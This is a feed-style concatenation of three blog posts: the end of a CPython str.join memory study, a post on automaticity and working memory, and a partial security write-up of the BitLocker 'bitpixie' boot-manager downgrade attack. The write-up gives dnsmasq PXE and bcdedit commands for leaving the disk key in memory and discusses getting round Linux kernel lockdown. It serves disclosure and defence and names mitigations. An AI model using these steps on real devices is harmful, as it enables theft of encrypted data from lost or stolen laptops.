    When the generator object a is created, nothing much happens. It just creates the object. However, when the list b is created, it consumes another 14 GB of memory. I forced it to copy each string by adding the lower() call which converts each word into a new lower case version of itself. If I just used x as-is, it would instead create a pointer to the other string in data, which would make my test less visual. I want to use all the RAMs!

    Finally, the clear() call empties the data object, and a and b are also cleared in the end since there is nothing further using these objects either.

    When Python Behaves as Expected

    Ok, so there are plenty of methods in Python that accept an iterable object as input. For instance, the all() function. What it does is evaluate each element in an iterable to check that they are all “True”, or “truthy”, which for strings means they are not empty:

    data = Path("long.txt").read_text().split()
    sleep(2)
    a = all(x.lower() for x in data)
    sleep(2)
    b = all([x.lower() for x in data])
    sleep(2)
    data.clear()
    

    As expected, the memory usage is pretty much identical to the first test:

    The graph is increasing during the reading phase, not reaction for the generator, increasing again for the list, and dropping in two steps when clearing.

    Memory usage for a generator and list object passed to all().

    This means that the generator is also memory efficient here. There is no visible bump at this scale, only for the list version.

    Now, for the third test, lets use join(), which is after all the topic of this post. This code will join all words with a space between them:

    data = Path("long.txt").read_text().split()
    sleep(2)
    a = " ".join(x.lower() for x in data)
    sleep(2)
    b = " ".join([x.lower() for x in data])
    sleep(2)
    data.clear()
    

    And here’s the memory profile:

    The graph is increasing during the reading phase, rising and falling for the generator, rising and falling again for the list, and dropping in two steps when clearing.

    Memory usage for a generator and list object passed to str.join().

    As you can see, there are now two clear bumps of equal height! There is no longer a benefit from using the generator. If you look closely, the generator also takes a little more time than the list version.

    What the hell is going on here?

    A Quirk of the CPython Join Implementation

    First, let’s look more closely at the time used. I ran a timing test of each approach in an iPython interactive session. This code joins all words longer than one character, but it does not force a copy of each word, so we get a clearer picture of the join process itself.

    In [15]: %timeit " ".join(a for a in data if len(a) > 1)
    7.82 s ± 4.83 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
    
    In [16]: %timeit " ".join([a for a in data if len(a) > 1])
    6.76 s ± 5.99 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
    

    As you can clearly see, the generator approach is about 16% slower than list comprehension. This is pretty consistent across all tests I’ve done on my system at different data sizes.

    Running the same test for all() gives the expected result:

    In [19]: %timeit all(a for a in data if len(a) > 1)
    3.6 s ± 3.88 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
    
    In [20]: %timeit all([a for a in data if len(a) > 1])
    4.12 s ± 3.51 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
    

    Here, the list comprehension is instead 14% slower than the generator.

    Here’s what’s actually going on:

    This is what Trey Hunner was hinting at in this Mastodon post:

    I do know that it’s not possible to do 2 passes over a generator (since it’d be exhausted after the first pass) so from my understanding, the generator version requires an extra step of storing all the items in a list first.

    While the str.join() method accepts a generator object as input, presumably to be consistent with other similar functions and methods like all() etc, it cannot actually use the generator. So it converts it.

    Effectively, this is what it does when you pass it a generator object:

    In [18]: %timeit " ".join(list(a for a in data if len(a) > 1))
    7.83 s ± 3.61 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
    

    As you can see from the timing, this is pretty much identical to the previous test.

    The reason for this is, as Trey said, that the str.join() implementation in CPython uses a two pass approach. It first calculates how big the result should be and allocates the memory, and then joins the text. It’s not really all that mysterious, but it was surprising to me at least, and clearly to many others when I posted about it on Mastodon.

    If you’re wondering, the magic happens in the PyUnicode_Join function in the CPython implementation. Notice especially this bit:

    fseq = PySequence_Fast(seq, "can only join an iterable");
    if (fseq == NULL) {
        return NULL;
    }
    

    This is what ensures that the input sequence seq is a sequence (list in this context) and not a generator. You can follow the rabbit hole of subsequent function calls all the way down if you wish. There are quite a lot of them, but in the end there is a loop that calls the iterator from the generator object and appends the results to a list.

    Calling each iteration of the generator is slower than directly appending them like the list comprehension method does, so I’m pretty certain this is where the performance difference comes from.

    The difference between

    and

    is subtle, but there is a difference. The first is optimised for generating a list directly, and does not create any generator bytecode. The second builds a list from a generator, and at least in Python 3.11 bytecode, creates the generator and then populates the list from it.

    Mostly Just CPython?

    This is very CPython specific, and as Corbin on Mastodon pointed out, does not hold true for PyPy, another Python implementation:

    Apples to apples on medium-length input, fits in RAM, Python 3.10:

    • PyPy, list comp: ~610ms
    • CPython, no list comp: ~350ms
    • CPython, list comp: ~230ms
    • PyPy, no list comp: ~110ms

    At the end of the day, using the generator notation for str.join() will likely not make much of a difference unless it’s performance critical. So I think I may still recommend this notation when there are no other concerns to consider. In most use cases where I use str.join() in this way, I do so because I already have a large list of text generated, so then the consideration here doesn’t even apply.

    Anyway, this was a fun topic to dig into at least, and I stayed up way too late that evening with it, and had to pay for that the next morning.

    Changes

    Updated 2024-06-16: Removed .readlines() from example, and rephrase point about mutability of strings and lists for clarity.

    Comments

    You can use your Mastodon account to comment on this post by replying to this thread.

    Alternatively, you can copy and paste the URL below into the search field of your Fediverse app or the web interface of your Mastodon server.

    The Mastodon integration is based on the implementation by Carl Schwan.

    ]]>
    https://berglyd.net/blog/2024/06/joining-strings-in-python/ hacker-news-small-sites-42747916 Sat, 18 Jan 2025 12:42:03 GMT
    <![CDATA[You Can Effectively Turn Long-Term Memory into an Extension of Working Memory]]> thread link) | @JustinSkycak
    January 18, 2025 | https://www.justinmath.com/you-can-effectively-turn-long-term-memory-into-an-extension-of-working-memory/ | archive.org

    by Justin Skycak (@justinskycak) on

    The way to do this is to develop automaticity on your lower-level skills.

    Want to get notified about new posts? Join the mailing list and follow on X/Twitter.

    By developing automaticity on your lower-level skills, you can effectively turn your long-term memory into an extension of your working memory.

    It’s kind of like how in software, you can make a little processing power go a long way if you get the caching right.

    As summarized by Anderson (1987):

    • "Chase and Ericsson (1982) showed that experience in a domain can increase capacity for that domain. Their analysis implied that what was happening is that storage of new information in long-term memory, became so reliable that long-term became an effective extension of short-term memory."

    And here’s a direct quote from Chase & Ericsson (1982):

    • "The major theoretical point we wanted to make here is that one important component of skilled performance is the rapid access to a sizable set of knowledge structures that have been stored in directly retrievable locations in long-term memory. We have argued that these ingredients produce an effective increase in the working memory capacity for that knowledge base."

    Reber & Kotovsky (1997) actually did some experiments on this and found that indeed, the impact of working memory capacity on task performance was diminished after the task was learned to a sufficient level of performance:

    • "Participants solving the Balls and Boxes puzzle for the first time were slowed in proportion to the level of working memory (WM) reduction resulting from a concurrent secondary task.

      On a second and still challenging solution of the same puzzle, performance was greatly improved, and the same WM load did not impair problem-solving efficiency.

      Thus, the effect of WM capacity reduction was selective for the first solution of the puzzle, indicating that learning to solve the puzzle, a vital part of the first solution, is slowed by the secondary WM-loading task."


    More generally, as Unsworth & Engle (2005) have explained:

    • "..[I]ndividual differences in WM capacity occur in tasks requiring some form of control, with little difference appearing on tasks that required relatively automatic processing."

    In addition to behavioral studies, this phenomenon can be physically observed in neuroimaging. Developing automaticity on skills empowers you to perform them without disrupting background thought processes (so you can keep the “big picture” in mind as you carry out lower-level technical details).

    At a physical level in the brain, automaticity involves developing strategic neural connections that reduce the amount of effort that the brain has to expend to activate patterns of neurons.

    Researchers have observed this in functional magnetic resonance imaging (fMRI) brain scans of participants performing tasks with and without automaticity (Shamloo & Helie, 2016). When a participant is at wakeful rest, not focusing on a task that demands their attention, there is a baseline level of activity in a network of connected regions known as the default mode network (DMN). The DMN represents background thinking processes, and people who have developed automaticity can perform tasks without disrupting those processes:

    • "The DMN is a network of connected regions that is active when participants are not engaged in an external task and inhibited when focusing on an attentionally demanding task ... at the automatic stage (unlike early stages of categorization), participants do not need to disrupt their background thinking process after stimulus presentation: Participants can continue day dreaming, and nonetheless perform the task well."

    When an external task requires lots of focus, it inhibits the DMN: brain activity in the DMN is reduced because the brain has to redirect lots of effort towards supporting activity in task-specific regions. But when the brain develops automaticity on the task, it increases connectivity between the DMN and task-specific regions, and performing the task does not inhibit the DMN as much:

    • "...[S]ome DMN regions are deactivated in initial training but not after automaticity has developed. There is also a significant decrease in DMN deactivation after extensive practice.
      ...
      The results show increased functional connectivity with both DMN and non-DMN regions after the development of automaticity, and a decrease in functional connectivity between the medial prefrontal cortex and ventromedial orbitofrontal cortex. Together, these results further support the hypothesis of a strategy shift in automatic categorization and bridge the cognitive and neuroscientific conceptions of automaticity in showing that the reduced need for cognitive resources in automatic processing is accompanied by a disinhibition of the DMN and stronger functional connectivity between DMN and task-related brain regions."

    In other words, automaticity is achieved by the formation of neural connections that promote more efficient neural processing, and the end result is that those connections reduce the amount of effort that the brain has to expend to do the task, thereby freeing up the brain to simultaneously allocate more effort to background thinking processes.

    References

    Anderson, J. R. (1987). Skill acquisition: Compilation of weak-method problem situations. Psychological review, 94(2), 192.

    Chase, W. G., & Ericsson, K. A. (1982). Skill and working memory. In Psychology of learning and motivation (Vol. 16, pp. 1-58). Academic Press.

    Reber, P. J., & Kotovsky, K. (1997). Implicit learning in problem solving: The role of working memory capacity. Journal of Experimental Psychology: General, 126(2), 178.

    Shamloo, F., & Helie, S. (2016). Changes in default mode network as automaticity develops in a categorization task. Behavioural Brain Research, 313, 324-333.

    Unsworth, N., & Engle, R. W. (2005). Individual differences in working memory capacity and learning: Evidence from the serial reaction time task. Memory & cognition, 33(2), 213-220.


    Want to get notified about new posts? Join the mailing list and follow on X/Twitter.

    ]]>
    https://www.justinmath.com/you-can-effectively-turn-long-term-memory-into-an-extension-of-working-memory/ hacker-news-small-sites-42747910 Sat, 18 Jan 2025 12:41:14 GMT
    <![CDATA[Windows BitLocker – Screwed Without a Screwdriver]]> thread link) | @lima
    January 18, 2025 | https://neodyme.io/en/blog/bitlocker_screwed_without_a_screwdriver/ | archive.org

    Teaser

    Someone steals your laptop. It’s running Windows 11, fully up-to-date. Device encryption (Windows BitLocker) is enabled. Secure Boot is active. BIOS/UEFI settings are locked down. So, you’re safe, right?

    • Question 1: Can the thief access your files without knowing your password?
    • Question 2: Do they even need to disassemble the laptop for the attack?

    The answer: Yes, they can access your files. And, no, they don’t need to disassemble the laptop. The device can stay closed, no screwdriver is required. Thanks to a bug discovered by Rairii in August 2022, attackers can extract your disk encryption key on Windows’ default “Device Encryption” setup. This exploit, dubbed bitpixie, relies on downgrading the Windows Boot Manager. All an attacker needs is the ability to plug in a LAN cable and keyboard to decrypt the disk.

    When I first learned about this, my reaction was WHY ISN’T THIS FIXED IN 2025, AND HOW DID I NOT KNOW ABOUT THIS UNTIL NOW? Hardware attacks? Sure, I was familiar with those. But a pure software exploit this simple? Surely it couldn’t be real!

    In this post, I’ll guide you through my deep dive into the bitpixie vulnerability. First, I’ll share what motivated this research, then unpack the technical details of the attack, and finally outline potential mitigations. The broader question of why Microsoft hasn’t fully addressed this issue demands its own post. In a dedicated article — On Secure Boot, TPMs, SBAT and Downgrades — Why Microsoft hasn’t fixed BitLocker yet — I demystify the Secure Boot ecosystem and explain the challenges at play.

    For the blue teamers among you, there is a section on affected devices and mitigations further down below, if you want to skip ahead. Short answer: use a pre-boot PIN, or apply KB5025885.

    Note that there aren’t any tools for exploiting this bug that are widely available yet. While this post describes everything you need to know, we are not publishing a ready-made tool.

    Motivation

    I’ve always wondered how folks gain access to encrypted devices without knowing the password. Sure, they likely have some bugs, but what kinds of bugs? Do they need government backdoors or 0-days? My assumption was: If I have a fully up-to-date system, surely I am pretty secure.

    Then, in January 2024, the 6th edition of the Realworld CTF came along with a very intriguing challenge: “Grandma’s Laptop”. We were given remote access to a BitLocker-encrypted Windows system running in QEMU. Hence, no hardware attacks were possible. The CTF ended without any solves, even though many of the world’s top teams were competing.

    The challenge author was even kind as to drop a hint: https://github.com/Wack0/bitlocker-attacks. In the following months, I spent some time off and on digging into this a lot more. This blog is the result of my research. May it be helpful for you, dear reader!

    BitLocker. How does it even work?

    Before discussing the exploit in detail, let’s review some BitLocker basics. Many researchers have extensively written about BitLocker, so I’ll only recap the important and relevant facts here. Let’s first have a look at the Microsoft documentation:

    BitLocker is a Windows security feature that protects your data by encrypting your drives. This encryption ensures that if someone tries to access a disk offline, they won’t be able to read any of its content.

    BitLocker is particularly valuable if your device is lost or stolen, as it keeps your sensitive information secure. It’s designed to be user-friendly and integrates seamlessly with the Windows operating system, making it easy to set up and manage.

    BitLocker offers two functionalities:

    • Device Encryption, which is designed for simplicity of use, and it’s usually enabled automatically
    • BitLocker Drive Encryption, which is designed for advanced scenarios, and it allows you to manually encrypt drives

    To summarize, BitLocker is a disk encryption, where ease of use is important. There are two “modes” of operation: Device Encryption and BitLocker Drive Encryption. The former is an automatically enabled, simple-to-use default configuration of BitLocker. This is the only form of encryption available on Windows Home, while the full BitLocker features require Pro/Enterprise editions.

    Ease of use is not only important for home users, though; It has the same relevance in corporate environments! As such, the configuration we see most often in the wild is precisely that of Device Encryption. To achieve this ease of use, Device Encryption is configured to automatically unlock the disk without the user even noticing. I call this unattended unlock. The hard drive is encrypted at rest but is automatically unsealed when a legit Windows boots, which means that users don’t need a separate disk decryption password: They just have to sign in with their usual user account. The Windows bootloader and Secure Boot are supposed to protect the disk encryption. Unfortunately, this configuration has been broken for quite a while.

    Let us now look at the high-level key derivation for BitLocked root partitions:

    Image 1: BitLocker Keys, simplified

    Very simplified, the Disk stores four distinct pieces of data:

    • the unencrypted bootloader (something needs to do the decryption, after all), and
    • three pieces of encrypted data:
      • the Volume Master Key (VMK),
      • the Full Volume Encryption Key (FVEK), and
      • the Encrypted Data, which contains the Windows kernel, drivers, software, and all user data.

    Encrypted data is read in three steps:

    1. The bootloader uses some TPM black magic (which we’ll examine later) to decrypt the Volume Master Key (VMK) stored on the disk.
    2. With the now decrypted VMK, the FVEK can be decrypted.
    3. Finally, that FVEK is used to decrypt all data. It is kept in memory, and whenever a block of data needs to be read/written, it is used. Most software doesn’t even know that the disk is encrypted, as the kernel transparently handles all the de/encryption of blocks and files.

    VMK Decryption

    VMK decryption is a bit involved. The VMK has so-called “Protectors” and each, on its own, can be used to derive the same VMK. Almost always, multiple protectors are present. Let’s look at a few relevant ones:

    The easiest way to do VMK decryption is to let the user enter a password. This is supported (though it’s not the default) and is called pre-boot authentication. Something similar is used for recovery: There is usually at least one recovery password that is automatically generated and saved in the user’s Microsoft account or printed during the BitLocker setup. Such a recovery secret usually looks like 049687-028908-468886-502117-436326-177529-711007-400917.

    But recall that the intention of BitLocker is to be user-friendly! Letting the user enter a password before even the Windows kernel is available seems like quite some hassle. One more password that could be forgotten. This is where a magic black box called the “Trusted Platform Module” (TPM) comes into play. With its help, a nice feature called Secure Boot is implemented, which can attest that a valid Windows is booting. If, and only if, a bootloader with a valid Microsoft signature boots, the TPM gives access to the VMK. If anything goes wrong during this unlocking, the bootloader prompts the user to use the dreaded BitLocker recovery screen. Since this TPM and Secure Boot-based unlock is usually invisible to the user, it is a nice default. I like to call this unattended unlock, since it unlocks the disk without any user interaction, as long as the bootloader is legit.

    To see all protectors on your specific BitLocker partition, run manage-bde -protectors -get c: from a Windows console:

    PS C:\Users\win-t> manage-bde -protectors -get c:
    BitLocker Drive Encryption: Configuration Tool version 10.0.26100
    Copyright (C) 2013 Microsoft Corporation. All rights reserved.
    
    Volume C: []
    All Key Protectors
    
     Numerical Password:
     ID: {C2932722-6C21-48A9-8A43-B33DBD329DAE}
     Password:
     049687-028908-468886-502117-436326-177529-711007-400917
     Backup type:
     Microsoft account backup
    
     TPM:
     ID: {85825FF8-3733-48D0-B0EE-4D32D8AAFD7A}
     PCR Validation Profile:
     7, 11
     (Uses Secure Boot for integrity validation)

    Above, you see the default output on a freshly set up Windows 11 24H2. It has two protectors: The first is a recovery key backed up to the Microsoft account and the second is a TPM protector with the default PCR 7,11 Secure Boot Validation. What this means precisely, we’ll see later.

    The decrypted VMK is really all we need to decrypt the drive! So, let’s investigate how that works on a normal Windows boot a bit more closely.

    Unattended Unlock Boot Flow

    Image 2: Windows Boot Flow

    The Windows bootloader is reasonably complicated and has lots of different options. Here, we only show the parts relevant for this exploit. Let us first look at the happy case of a typical Windows boot:

    Happy case! There are three components: platform/UEFI booting, the Windows boot manager bootmgfw.efi, and the full Windows environment.

    1. Platform boot (UEFI) initializes the system and:
      1. The UEFI firmware checks the digital signature of the Windows bootloader (bootmgfw.efi) using Secure Boot magic.
      2. Once verified, the UEFI chainloads the bootloader from the unencrypted portion of the disk.
    2. Bootloader (bootmgfw.efi) determines which disk to boot from, decrypts it, then boots into the Windows OS.
      1. Reads the Boot Configuration Data (BCD).
      2. Identifies the target disk and reads its metadata. If it’s BitLocker-encrypted, the metadata includes the encrypted Volume Master Key (VMK).
      3. Requests the TPM to decrypt the VMK, using PCR-based validation (e.g., PCR 7,11 by default).
      4. Uses the decrypted VMK to unlock the Full Volume Encryption Key (FVEK), which decrypts the rest of the disk.
      5. Decrypts the Windows kernel and related data on the disk, then boots into the operating system.
    3. Windows login prompts the user for their credentials to complete the boot process and access the system.

    At every step in this flow, many things could go wrong.

    Error case! If the bootloader encounters an issue (e.g., corrupted files or invalid configuration), it attempts to boot into a recovery environment. This is done by returning to the BCD, looking up the relevant recovery entry, and attempting to boot it. The recovery image could be anything: It might be another valid Windows, which could unseal the disk, or it might not. Hence, all secrets (e.g., VMK, FVEK) in memory must be wiped before transitioning to recovery! If secrets remain in memory, the recovery environment could inadvertently leak them or be exploited by an attacker. — foreshadowing intensifies

    With all that understanding under your belt, let’s finally look at the bug:

    Bitpixie: How Does the Exploit Work?

    In one of the bootloader’s many flows, disk encryption keys are not deleted when fallback booting. — Oops. — This bug, known as bitpixie (CVE-2023-21563), was discovered in August 2022 by Rairii, but had actually existed in the Windows bootloader since October 2005. It was fixed late 2022, and publically disclosed in February 2023. Due to some unfortunate design in the Secure Boot standard, it is still exploitable today!

    The issue arises during a specific flow known as the “PXE Soft Reboot”. When a boot fails, this is supposed to load a recovery image via the network, without fully restarting the system. Unfortunately, the bootloader forgot to wipe the VMK — the critical piece of data that unlocks the BitLocker-encrypted disk — before attempting this. As a result, the VMK remains potentially accessible to any code loaded during or after the PXE boot.

    Image 3: Windows Boot Exploit Flow

    Why isn’t this fixed you might ask? Great question! Of course, it is fixed in new bootloaders! But the situation isn’t so simple. Recall that the TPM gives us the VMK if any legit Windows boots? There is (by default) no additional verification. This means we can simply downgrade our bootmanager, to one that still has the vulnerability. And it isn’t at all difficult to find an old one.

    The bug itself is not all that interesting. Forgetting to clear the key when you do something else is a pretty common issue. But the exploit is interesting, and the investigation into why this is still exploitable is even more so!

    Exploit steps
    Let’s formulate an exploitation plan:

    1. PXE Boot into downgraded, vulnerable bootloader.
    2. Serve a “correct-enough” boot configuration.
      • Correct enough to unseal the BitLocker-encypted partition with the TPM.
      • Broken enough to trigger the recovery flow into a PXE soft reboot.
    3. Boot into Linux and scan the physical memory for the VMK.
    4. Use the VMK to mount the BitLocker partition with read/write access.

    Step 1: PXE Boot Into a Downgraded Dootloader

    If you’ve ever used PXE, you might know that is kind of a pain to set up. At least I struggled in the past getting it to work in my home network. Thankfully, our scenario is a bit simpler. Here, we only need two devices: the attacker device and the victim device. No full network is required! Instead, we’ll set up a point-to-point link by connecting the two devices with a LAN cable.

    With that, we can leverage dnsmasq, a fantastic tool that bundles everything we need for this operation:

    sudo dnsmasq --no-daemon \
        --interface="$INTERFACE" \
        --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
        --dhcp-boot=bootmgfw.efi \
        --enable-tftp \
        --tftp-root="$ABS_TFTP_ROOT" \
        --log-dhcp

    Here’s what’s happening: On the attacker device, we start dnsmasq on the network interface that is connected to the victim. We choose an arbitrary DHCP range, and set the dhcp-boot option to the filename of our downgraded bootloader. We enable a TFTP to deliver all necessary files, including the vulnerable bootloader, and enable logging.

    But wait, you say! Where do we get this ominous “downgraded bootmanager” from? Any way you want, really. The key is that it must predate November 2022 (build 25236) when PXEboot vulnerabilities were patched. This can, for example, be old Windows ISOs. You could also try your luck on Winbindex, though many (all?) of the old bootmanagers are not available anymore.

    Before proceeding, I ensured my PXE boot setup is functional. To build confidence, I booted into various operating systems with Secure Boot disabled. You could also reboot into a copy of the original Windows boot manager with secure boot enabled, which should allow you to boot the normal Windows installation from the disk.

    Step 2: Unlock Bitlocker by Serving a Correct-Enough Boot Configuration

    In addition to the bootmgfw.efi file, several supporting files are required. When we copy the boot manager from a legitimate EFI partition, we can just grab all files from there. Otherwise, we can look at the TFTP log in dnsmasq to see what files the boot manager requests. Most of the files are non-essential assets like fonts and UI elements. If these are missing, the boot manager will still function, albeit with a less polished, text-only UI. The essential part we do have to worry about is a config file: the Boot Configuration Data (BCD), located at $TFTP/Boot/BCD. The BCD file is analogous to a grub.cfg file in Linux. It describes all available boot options and fallbacks, specifying details like the partition and kernel to boot from, as well as associated parameters.

    Official documentation on BCD is kind of sparse, though some resources have reversed most of the structure. The file is a Windows registry hive and can, in theory, be edited by any registry editing tool. In practice, though, there are lots of magic values in them, so I didn’t find this particulary helpful. Instead, I recommend using Microsoft’s official bcdedit.exe tool, which is preinstalled on all Windows machines.

    There are a bunch of hidden arguments to bcdedit that help a bit: Use bcdedit /store testbcd /enum all or bcdedit /store testbcd /enum all /raw to print the raw values contained in a BCD file. Without the raw argument there is some pretty printing applied, that for example hides the partition GUID and simply replaces it with the corresponding drive letter, e.g. C:. If you don’t know that, you get reaaally confused why your BCD isn’t working right :p.

    Some helpful resources for learning more:

    Okay, so now we know how to edit a BCD file. But what do we put in there? This was the trickiest part of this exploit chain, as you get very little feedback when things go wrong. Recall the bug we are trying to reproduce: We want the bootloader to attempt to boot from our BitLocker partition, fail, and then trigger a PXE soft reboot into our controlled OS.

    The easiest way to get this working has three parts:

    1. Get the original BCD from the victim’s device. This ensures the configuration matches the specific partition GUIDs. You can do that by shift-rebooting Windows, going “Troubleshoot > Advanced options > Command Prompt”, mounting the boot partition, and copying its contents to a USB drive. Or, be more advanced and use an SMB mount, if you don’t have USB access.
    mountvol s: /s
    Copy-Item S:/EFI D:/efi-copy -Recurse
    1. Using bcdedit, create a new boot entry for the PXE soft reboot. The element list on Geoff Chappell / BCD Elements is helpful here:
    bcdedit /store BCD_modded /create /d "softreboot" /application startup

    We specify a custom store, so we operate on that file, not the system store. We create a new startup application and give it an arbitrary name, here “softreboot”. Then, we need to set this up to use pxesoftreboot:

    bcdedit /store BCD_modded /set {%REBOOT_GUID%} path "\shimx64.efi"
    bcdedit /store BCD_modded /set {%REBOOT_GUID%} device boot
    bcdedit /store BCD_modded /set {%REBOOT_GUID%} pxesoftreboot yes

    Note that we set the path to shimx64.efi. This is the bootloader that will be loaded when this boot entry is selected! More on that later.

    1. Add this new boot option as recovery to our default boot entry, and modify the default boot entry to always trigger recovery. We do this by setting the path to \. By pointing to a valid path but an invalid kernel, the bootloader will fail but still unlock the BitLocker partition, leaving the Volume Master Key (VMK) in memory. Any other syntactically valid path that doesn’t point to a bootable kernel would work as well:
    bcdedit /store BCD_modded /set {default} recoveryenabled yes
    bcdedit /store BCD_modded /set {default} recoverysequence {%REBOOT_GUID%}
    bcdedit /store BCD_modded /set {default} path "\\"
    bcdedit /store BCD_modded /set {default} winpe yes

    We cannot create a universal BCD that works for all targets. This is because in the BCD we just copied, there is a DEVICE property that specifies the partition GUID to boot from. This GUID varies between systems, so the BCD must be tailored to the target. When this GUID is wrong, the bootmanager won’t attempt any disk unseals, and the VMK won’t be left in memory. While you could edit the GUID, which is also available from the target device command prompt or disk metadata, it’s often easier to copy the original BCD and modify it.

    The complete BCD edit procedure, executed from the recovery command prompt, looks like this:

    d:
    bcdedit /export BCD_modded
    bcdedit /store BCD_modded /create /d "softreboot" /application startup>GUID.txt
    For /F "tokens=2 delims={}" %%i in (GUID.txt) do (set REBOOT_GUID=%%i)
    del guid.txt
    bcdedit /store BCD_modded /set {%REBOOT_GUID%} path "\shimx64.efi"
    bcdedit /store BCD_modded /set {%REBOOT_GUID%} device boot
    bcdedit /store BCD_modded /set {%REBOOT_GUID%} pxesoftreboot yes
    
    bcdedit /store BCD_modded /set {default} recoveryenabled yes
    bcdedit /store BCD_modded /set {default} recoverysequence {%REBOOT_GUID%}
    bcdedit /store BCD_modded /set {default} path "\\"
    bcdedit /store BCD_modded /set {default} winpe yes
    
    bcdedit /store BCD_modded /displayorder {%REBOOT_GUID%} /addlast
    copy d:\BCD_modded p:\BCD
    Image 4: Example of a modified BCD (simplified)

    Step 3: Boot Into OS, Scan Memory for VMK

    Booting into the downgraded bootmanager and modified BCD is straightforward: Just use the shift-reboot trick in Windows again. Navigate to “Use a device > PXE Boot”. This action will boot into the downgraded bootmanager, load the BCD, unseal the disk, fail to launch the kernel, and execute the pxesoftreboot.

    I was testing this exploit in QEMU, and once I got this far, immediately dumped memory, scanned for the VMK, and found it! Happy with the result, I got ready to wrap up this exploit. I thought reading the memory for the VMK would be straightforward — just boot into my controlled OS, and scan the memory. But I quickly realized another challenge lay ahead: Secure Boot — again.

    Since the system we are operating on still has Secure Boot enabled, the Windows bootloader checks the signature for the next stage we are doing a fallback boot into. We don’t necessarily have to network boot into Windows, but the payload must have a valid secure boot signature.

    The first attempt: Just use Linux! Major Linux distributions have Secure Boot, right?

    It seemed promising: Modern distros use a signed “shim” (a pre-boot loader) approved by Microsoft’s third-party Secure Boot certificate. Recall that we specified shimx64.efi as path in the pxesoftreboot recovery entry? That’s where this came from. Secure Boot implementations on Linux involve multiple layers:

    • Shim: Signed by Microsoft, it includes a distro-specific key (though the codebase is the same) to boot a distro-signed grub.
    • Grub: Signed with the distro’s key, loads only distro-signed kernels.

    This means we need matching shim+grub+kernel from a distro that has everthing nicely signed. I picked a random netboot image with Secure Boot support, PXEBoot it, and dumped the memory:

     cat /dev/mem
    cat: /dev/mem: Permission denied
     sudo cat /dev/mem
    cat: /dev/mem: Operation not permitted
     sudo dmesg | tail -n 1
    [328854.672148] Lockdown: cat: /dev/mem,kmem,port is restricted; see man kernel_lockdown.7

    Ahh, great! Our kernel is in lockdown mode :) This is a feature of the Linux kernel to protect itself from root. In lockdown mode, any kernel modifications, including loading unsigned modules, are blocked, even if an attacker has full root privileges. This includes any raw memory read or write access. Once enabled, lockdown cannot be disabled on a running system.

    Step 3a: Finding a Way Around Lockdown Mode

    I figured we might not even need a Linux kernel since grub also offers some built-in memory reading/writing functionality! But, as it turns out, grub helpfully also disables those when Secure Booted, via the shim-lock ‘protocol’, see ArchWiki/GRUB#Shim-Lock or grub Manual.

    Additionally, the commands that can be used to subvert the UEFI Secure Boot mechanism, like iorw and memrw, are disabled in Secure Booted environments via the GRUB Lockdown mechanism.

    Okay, that’s a non-starter. Maybe we can find a signed shim that is “weird”, and let’s us boot into something that doesn’t have raw-memory read restrictions? We can look for distros that have shim available on pkgs.org/shim or pkgs.org/shim-signed. The coordination process for signing shims is also public at GitHub: shim-review. Unfortunately, many bootloaders were recently revoked due to severe security issues, and won’t boot anymore when secure boot is enabled. I needed something reasonably recent. I ultimately found no viable workaround here, and just stuck to a shim from one of the major distros.

    Okay, so we are back to bypassing lockdown on a Linux kernel. Distros really go out of their way to include custom lockdown patches downstream. Looking at upstream code doesn’t help; you have to go to the source of your actual distro.

    For example, here are all the custom patches Debian had in 2016 for protecting lockdown mode: Debian GitLab: debian/patches/features/all/lockdown. Yes, there really were 33 custom patches, just for lockdown. These days, there are a lot fewer but the main kernel-lockdown-on-Secure-Boot patch is still there: efi-lock-down-the-kernel-if-booted-in-secure-boot-mo.patch, as upstream refuses to merge that. The reason behind the distros patches is simple, as seen in openSUSE Begins Enforcing Secure Boot Kernel Lockdown:

    […] according to a Reddit thread that also links to an openSUSE mailing list, Microsoft evidently refused to continue signing openSUSE’s bootload shim unless Kernel Lockdown was enabled. As a result, beginning with kernel 6.2.1, openSUSE Tumbleweed will enable Kernel Lockdown whenever Secure Boot is also enabled.

    Funny side note: Kernel docs on lockdown are wrong here: They mention lockdown is automatically enabled when Secure Boot is on. However, this is only true for downstream kernels. They simply copied fedoras man page.

    In the past, we had exploits like american-unsigned-language to get around lockdown. However, I could not find a kernel on which such an exploit worked and from which I could boot.

    Another avenue I briefly persued was to enroll a Machine-Owner-Key (MOK). This is a feature provided by most Linux shims that let users sign their own kernels with their own keys. To configure the MOK, I would have to boot into a MoKManager bootloader that would enroll the key. From my brief experiments, I could not get this to work from PXE. Since this solution felt inelegant, leaving traces on the device, I abandoned it.

    To summarize: All Linux distros that are bootable with Microsoft-signed Secure Boot also enable lockdown mode on boot. Lockdown is pretty solid, and known bypasses get patched. None of the lockdown bypasses or raw memory reads I could find (e.g., broken drivers, ACPI tables, some random DMA things) worked anymore. Kernel modules must be signed to be loaded, so that isn’t an option either.

    What to do? Easy! Let’s exploit a Linux kernel in this Windows bootmanager exploit :D Luckily, nowhere in the Linux boot chain does it say we have to boot up-to-date software (cough SBAT cough, more on that later!). So we ran another “downgrade”, and looked for some old kernel with known vulnerabilities.

    What Kernel should we pick? We needed one that still boots on the latest shim/grub, which means signed after the distro last rotated their signing keys. Also, we have to make sure to get the shim, the grub, and the kernel, all from the same distro. Since Ubuntu somewhat recently rotated their Secure Boot keys (Ubuntu 2022v1 Secure Boot key rotation and friends), their old kernels will no longer boot, so I went with Debian. They have great archives from which we can pick a suitable version. I selected an up-to-date shim and grub, and used the arbitrarily selected kernel 5.14:

    Next Problem: Booting old Kernel with modules: Getting shim and grub to run is straightforward — just drop them into the TFTP folder. Booting the kernel isn’t hard as well, but the initial filesystem, either initrd or initramfs, is a bit tricky. Taking any random old initial filesystem works, but we run into issues with kernel modules, because the kernel is still in lockdown mode and enforces module signature checks. Yay. We need matching initrd and kernel.

    Finding a prebuilt old netboot kernel/initrd combination proved a dead end. There might be the perfect secure-bootable netboot out there, but I didn’t find it. This which left me with no choice but to build my own initrd based on the selected kernel and kernel-modules. Note: If your exploit doesn’t require any external kernel modules, you might get away without this step, and can just use a random initrd.

